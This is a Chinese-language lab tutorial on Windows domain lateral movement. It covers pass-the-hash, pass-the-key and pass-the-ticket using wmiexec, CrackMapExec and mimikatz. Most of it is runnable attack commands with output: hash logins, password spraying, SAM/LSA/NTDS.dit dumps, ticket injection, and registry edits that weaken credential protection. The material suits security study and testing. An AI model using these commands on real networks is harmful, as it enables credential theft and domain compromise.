在内网渗透的过程中我们常用到的就是这三种攻击

  1. pass the hash - hash传递
  2. pass the ticket - 票据传递
  3. pass the key - 密钥传递

这三种攻击我们并不陌生,在攻防演练当中常用的套路就是,抓密码→横向,抓到hash→传递,登录上去继续重复操作,直到抓到域管理员密码→登录域控。

pass the hash 攻击

Windows用户hash主要由以下部分组成,其中NTLM-HASH 比LM-HASH的安全性更高:

  1. 用户名称:RID:LM-HASH值:NTLM-HASH

NTLM网络认证

NTLM是基于质询、应答消息交换模式的认证机制,用户工作组和域环境身份认证NTLM有三步。

  1. 协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
  2. 质询:质询/应答 (Challenge/Response)模式,用于消息交换
  3. 验证:验证身份合法性,通常由 Server端或 DC完成这个过程
    大概的流程:
    • 客户端对对明文密码进行加密缓存,然后用户名发送到服务器,发起认证请求
    • 服务器生成一个16字节的随机数,(质询)发送给客户端
    • 客户端使用用户HASH对质询进行加密,讲结果发送给服务器
    • 服务器发送三项数据给域控服务器:
      a. User name
      b. 发送客户端的质询
      c. 从客户端接收加密结果

域控服务器使用User name 从AD 中检索这个用户的NTLM HASH,同时用NTML hash质询,然后把这个值和客户端计算出来的值与结果比较,结果一致就验证成功。

形成原因

在认证的时候不仅支持明文认证同时允许使用hash认证

  1. 明文登录:明文→加密成hash→认证
  2. hash登录:hash→认证

使用WMIEXEC

windows下使用wmiexec.exe通过pth方式拿shell:

  1. wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ./tom@10.10.xx.xx
  2. ./wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ninitom.cn/web@10.10.10.22

wmiexec.exe 横向移动-PTH/PTK/PTT - 图1

CrackMapExec

身份认证检查凭证

批量登录

  1. cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'

使用用户hash登录
例如获取到

  1. Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::

类似这样的凭据时候,可以使用完整的hash或者使用nthash(后半部分进行登录)

  1. python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'
  2. python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'
  3. python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'
  4. python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'

示例:

  1. python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab'

横向移动-PTH/PTK/PTT - 图2
使用多个用户名或者密码

  1. python38.exe .\cme 192.168.1.101 -u user1 user2 user3 -p Summer18
  2. python38.exe .\cme 192.168.1.101 -u user1 -p password1 password2 password3

示例:

  1. python38.exe .\cme smb 192.168.52.0/24 -u n001 n002 web admin administrator -p Admin123

横向移动-PTH/PTK/PTT - 图3
CME 接受用户名和密码的 txt 文件。每行一个用户/密码。注意帐户锁定!

  1. python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18
  2. python38.exe .\cme 192.168.1.101 -u Administrator -p /path/to/passwords.txt

注意:默认情况下,CME 将在成功登录后退出。即使找到有效密码,使用 —continue-on-success 标志也会继续喷射。用于针对大型用户列表喷洒单个密码使用示例:

  1. python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success

远程获取凭证

以下示例使用用户名和明文密码,尽管用户/哈希组合也可以使用。

需要本地管理员
需要目标域控制器上的域管理员或本地管理员权限

使用 secretsdump.py 中的方法转储 SAM 哈希

  1. python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam

使用 secretsdump.py 中的方法转储 LSA 机密

  1. python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa

使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit

  1. 2 methods are available:
  2. (default) drsuapi - Uses drsuapi RPC interface create a handle, trigger replication, and combined with
  3. additional drsuapi calls to convert the resultant linked-lists into readable format
  4. vss - Uses the Volume Shadow copy Service
  5. python38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
  6. python38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss

使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit 密码历史记录

  1. python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history

显示每个 NTDS.dit 帐户的 pwdLastSet 属性

  1. python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

命令执行

执行方法

CME 具有三种不同的命令执行方式:

  • wmiexec通过 WMI 执行命令
  • atexec通过使用 Windows 任务调度程序调度任务来执行命令
  • smbexec通过创建和运行服务来执行命令

默认情况下,如果一个执行方法失败,CME 将故障转移到不同的执行方法。它尝试按以下顺序执行命令:

  1. wmiexec
  2. atexec
  3. smbexec

如果您想强制 CME 仅使用一种执行方法,您可以使用--exec-method标志指定哪一种。
命令执行方法在 Executed Command 输出行中表示。
WMIEXEC 示例,请注意“通过 wmiexec 执行的命令”输出行。

  1. PS I:\域渗透\cmedb-windows-latest> python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab' -X '$PSVersionTable' --exec-method wmiexec
  2. SMB 192.168.52.1 445 IPHONE [*] Windows 10.0 Build 18362 x64 (name:IPHONE) (domain:iphone) (signing:False) (SMBv1:False)
  3. SMB 192.168.52.1 445 IPHONE [-] iphone\web:570a9a65db8fba761c1008a51d4c95ab STATUS_LOGON_FAILURE
  4. SMB 192.168.52.130 445 WEB [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:WEB) (domain:ninitom.cn) (signing:False) (SMBv1:True)
  5. SMB 192.168.52.143 445 TEST-PC [*] Windows 7 Ultimate 7601 Service Pack 1 x64 (name:TEST-PC) (domain:ninitom.cn) (signing:False) (SMBv1:True)
  6. SMB 192.168.52.130 445 WEB [+] ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab (Pwn3d!)
  7. SMB 192.168.52.143 445 TEST-PC [+] ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab (Pwn3d!)
  8. SMB 192.168.52.130 445 WEB [+] Executed command via wmiexec
  9. SMB 192.168.52.130 445 WEB Name Value
  10. SMB 192.168.52.130 445 WEB ---- -----
  11. SMB 192.168.52.130 445 WEB CLRVersion 2.0.50727.5420
  12. SMB 192.168.52.130 445 WEB BuildVersion 6.1.7601.17514
  13. SMB 192.168.52.130 445 WEB PSVersion 2.0
  14. SMB 192.168.52.130 445 WEB WSManStackVersion 2.0
  15. SMB 192.168.52.130 445 WEB PSCompatibleVersions {1.0, 2.0}
  16. SMB 192.168.52.130 445 WEB SerializationVersion 1.1.0.1
  17. SMB 192.168.52.130 445 WEB PSRemotingProtocolVersion 2.1
  18. SMB 192.168.52.143 445 TEST-PC [+] Executed command via wmiexec
  19. SMB 192.168.52.143 445 TEST-PC Name Value
  20. SMB 192.168.52.143 445 TEST-PC ---- -----
  21. SMB 192.168.52.143 445 TEST-PC CLRVersion 2.0.50727.5420
  22. SMB 192.168.52.143 445 TEST-PC BuildVersion 6.1.7601.17514
  23. SMB 192.168.52.143 445 TEST-PC PSVersion 2.0
  24. SMB 192.168.52.143 445 TEST-PC WSManStackVersion 2.0
  25. SMB 192.168.52.143 445 TEST-PC PSCompatibleVersions {1.0, 2.0}
  26. SMB 192.168.52.143 445 TEST-PC SerializationVersion 1.1.0.1
  27. SMB 192.168.52.143 445 TEST-PC PSRemotingProtocolVersion 2.1

pass the key攻击(PTK)

ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。

获取到的已知信息

  1. msv :
  2. [00000003] Primary
  3. * Username : Administrator
  4. * Domain : NINITOM
  5. * NTLM : e45a314c664d40a227f9540121d1a29d
  6. * SHA1 : 68d2cbb7f15aec345fbf42a6326ddfee03e61708
  7. * DPAPI : 045a6171114f8870de9f71de4468fbc8

通过mimikatz 传递

普通用户获取到administator的hash,执行下列操作获取到cmd权限

  1. mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组则为.) /user:目标机器的用户名 /ntlm:用户名对应的hash"
  2. mimikatzprivilege::debug
  3. "sekurlsa::pth /user:administrator /domain:ninitom.cn /ntlm:e45a314c664d40a227f9540121d1a29d"

横向移动-PTH/PTK/PTT - 图4

跳出cmd访问到

  1. dir \\10.10.10.10\c$

横向移动-PTH/PTK/PTT - 图5

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash

在windows Server 2012及其以后的版本中,使用抓密码工具无法从内存中获取到明文密码。

横向移动-PTH/PTK/PTT - 图6

可以通过修改注册表在系统重启后可以看到明文密码:

  1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Hash传递登录RDP

Restricted Admin mode,直译为受限管理模式,它使用当前Windows登录凭据,不需要输入口令,直接登录。当然需要两端都支持Restricted Admin mode,即Server需要开启Restricted Admin mode,Client也需要支持Restricted Admin mode。

Restricted Admin mode适用于:

  • Windows 8.1和Windows Server 2012 R2默认支持该功能
  • Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

查看是否支持Restricted Admin mode的命令。

  1. mstsc.exe /restrictedadmin

横向移动-PTH/PTK/PTT - 图7

开启Restricted Admin mode的方法

  1. 方法1: 安装补丁3126593 补丁
  2. 修改注册表
  1. REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

实践:

  1. # 管理员权限下执行以下命令:
  2. mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组.) /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"
  3. privilege::debug
  4. sekurlsa::pth /user:web /domain:ninitom.cn /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"

我不知道我安装了补丁好像还是没什么卵用,方法就是这么个方法。

横向移动-PTH/PTK/PTT - 图8

Pass The Ticket

使用票据进行传递使用mimikatz

票据传递

  1. privilege::debug
  2. sekurlsa::tickets /export

横向移动-PTH/PTK/PTT - 图9

把获取到的票据拿出来,通过攻击机器把票据注入到内存中。

  1. kerberos::ptt "票据路径"
  2. kerberos::ptt "[0;75cc8]-2-0-40e10000-Administrator@krbtgt-NINITOM.CN.kirbi"

横向移动-PTH/PTK/PTT - 图10

通过mimikatz

  1. kerberos::list 查看票据
  2. kerberos::purge 清除票据

查看到有这个票据在内存中就算是成功了,我们可以通过dir 去查看域控主机是否可以去访问

横向移动-PTH/PTK/PTT - 图11

  1. dir \\dc1.ninitom.cn\c$
  2. 这里使用主机名、ip地址、域都是可以的只要能解析到对应的这个ip地址

横向移动-PTH/PTK/PTT - 图12

也可以通过kekeo

https://github.com/gentilkiwi/kekeo/releases/